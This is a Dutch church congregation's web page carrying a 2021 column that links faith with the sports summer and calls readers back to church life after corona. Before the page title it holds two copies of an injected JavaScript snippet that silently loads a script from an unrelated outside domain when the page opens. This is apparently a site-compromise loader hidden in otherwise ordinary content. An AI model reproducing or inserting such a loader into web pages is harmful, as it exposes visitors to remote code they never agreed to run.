;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Kerk en deze sportzomer … - PKN Damwâld

Kerk en deze sportzomer …

Gepubliceerd op: vrijdag 18 juni 2021

Wat heeft de kerk te maken met grote sportevenementen als het EK voetbal, de Tour de France, Wimbledon, de olympische spelen, TT en Max op Zandvoort  ….?

Geloof en (top-) sport – er lijken meer raakvlakken te zijn dan je zou denken. Sport en geloof fascineren miljoenen mensen. Beiden hebben de kracht om mensen vreedzaam samen te brengen.

Ook tijdens de lopende- en komende sportevenementen zal er veel enthousiasme en inzet zijn. In vreugde en verdriet. Als mensen in het stadion luid zingen in een koor en zich ijverig opofferen voor het geloof in hun team, krijgt de sport een bijna religieuze betekenis. En de mediahype die over de sportevenementen wordt gemaakt is wijdverbreid. Op bepaalde dagen kan er nauwelijks een ander programma worden aangeboden omdat mensen collectief via de tv of in een café een sport- evenement volgen. En heeft dat ook niet wat weg van religieuze kenmerken. Mensen verzamelen zich in grote groepen en “betuigen hulde” aan hun “idolen”. Vaak stuurt men een “snel gebed” naar de hemel of juicht naar de “godenzonen” op het “heilige grasveld”.

Sport inspireert mensen. Of het nu als vrijetijdssporter is of als ‘bankatleet’ bij alle sportuitzendingen. Een veelgehoord argument tegen sporten is dat het een nutteloos tijdverdrijf is. Voor sommige christenen is sport ook een vijand: Jongeren die op zondag naar het sportveld gaan in plaats van naar de kerk worden scheef aangekeken en sommige voorgangers kunnen jaloers worden op volle stadions met luid meezingende supporters (!). Er zijn ook tal van stemmen die quasireligieuze systemen in fanclubs herkennen en een FIFA-baas die voetbal wil vieren als de nieuwe wereldreligie.

Sport is een mooie spiegel van het echte leven. Ook daarin zijn winnaars en verliezers. En niet iedereen heeft dezelfde kansen. Iedereen kan winnen. Niet winnen. Winnen betekent: de verliezer verhogen. Als je wint, moet je niet lachen om de verliezer, hem/haar niet vernederen of hem/haar in de grond trappen. Velen kunnen winnen. Maar winnen is de kunst om de verliezer op te voeden op het moment van de overwinning. Dat betekent hem voor zich winnen, hem geven wat hij nu nodig heeft: erkenning en waardigheid. Overal waar enthousiasme en sportiviteit worden gecombineerd, komt de Heilige Geest in het spel, waardoor een waardevolle gemeenschap ontstaat die inspireert en sportieve grenzen overwint. Er zal gejuicht worden en getreurd. Vreugde en verdriet scheelt af en toe maar een centimeter. En soms nog minder. In zijn eerste brief aan Korinthe (9: 24-27) vergelijkt ook Paulus het leven met een wedstrijd. ‘Er is er maar één die de prijs kan winnen, ren als de atleet die wint.’ Zo is het in de sport, zo is het leven. Het verschil voor Paulus is de erekrans. ‘De atleet doet het voor een vergankelijke prijs, wij voor een onvergankelijke.’

Voor christenen die van sporten houden, is er dan ook een verleidelijke tijd aangebroken. Wat kan de kerk in deze tijd van toenemende kerkverlating van de sport leren?  Wat moet er dan als kerk gebeuren? De deuren sluiten en de komende maanden vasten en bidden? Dat zou zeker een mogelijkheid zijn, maar natuurlijk geen optie. Kerk en sport combineren beweging en enthousiasme, maken emoties los, creëren verbindingen en laat je tolerantie, eerlijkheid en gemeenschap ervaren. Zelfs als je helemaal niet geïnteresseerd bent in sport: de deuren openen en het evangelie verkondigen is meer de missie van de kerk.

Luisterend naar mensen die het afgelopen jaar vanwege corona verhinderd zijn om persoonlijk naar de kerk te gaan, is het interessant om te horen wat ze missen. Verbondenheid en zingen zijn prominent aanwezig onder kerkgangers. Voor anderen creëert het verlies van het samen het Heilig Avondmaal vieren of bijvoorbeeld het samen bidden een enorme leegte. In een artikel op de website van de Protestantse Kerk valt te lezen: “Het effect van maandenlang niet naar de kerk kunnen, zal nog moeten blijken. Aan de ene kant heeft deze periode mooie dingen opgeleverd: veel gemeenten bereiken met hun online diensten meer mensen dan normaal, en willen het streamen daarom doorzetten. Aan de andere kant maken sommige gemeenten zich ook zorgen: komen alle mensen die eerder in de kerk zaten, weer terug? Sommige mensen staan te trappelen om weer naar de kerk te komen, maar andere hebben wellicht ontdekt hoe makkelijk het is om thuis naar de dienst te kijken. Dat is wel spannend”.  Hoe zit het met de trouw in ónze kerkgang ?

“De kerk is een ‘oefenplaats’ voor een leven als volgelingen van Jezus.  Je hebt als gelovigen een plaats nodig waar je je geloof beoefent en in stand houdt. Geloven komt niemand zomaar aanvliegen, en als het je al aan komt vliegen, vliegt het ook zo maar weer weg. Beginnen met geloven is niet zo moeilijk, volhouden is veel moeilijker. Volhouden kan alleen wanneer je het geloof onderhoudt, wanneer je het ‘praktiseert’. Anders raak je in de versukkeling. Meestal merk je dat niet, maar dat is nu juist het gevaarlijke. Sporten doe je bij voorkeur met elkaar. Geloof is geen louter individuele aangelegenheid. Je vormt met elkaar een ‘alternatieve gemeenschap’. Je trekt je aan elkaar op. Je daagt elkaar uit. Je helpt elkaar in de volharding!”, zoals Arjan Plaisier, oud scriba van de generale synode al schreef.

In de sport zie je de verbinding door de gemeenschappelijke kleuren, de gemeenschappelijke shirts en de gemeenschappelijke liedjes. Wij christenen zijn verenigd in en door de Here God. En nee, niet iedereen in de kerk doet alles hetzelfde. … Niet iedereen hoeft alles te kunnen, maar iedereen samen: we moeten kunnen winnen of verliezen. We moeten en kunnen het verschil maken, overwinningen en nederlagen beleven, en niet over beide uit elkaar vallen, maar bij elkaar blijven. We hebben allemaal verschillende gaven. Maar alleen zijn we net zo verloren als een sporter die geen houvast of verbinding met zijn medespelers kan vinden. Samen krijgen we vleugels, we kunnen samen huilen en lachen – samen leven, in vrijheid, maar niet alleen …

Columnist:Kees

Leer mij kennen
Uitgelezen?

Gelukkig hebben wij meer columns!

Bekijk al onze columns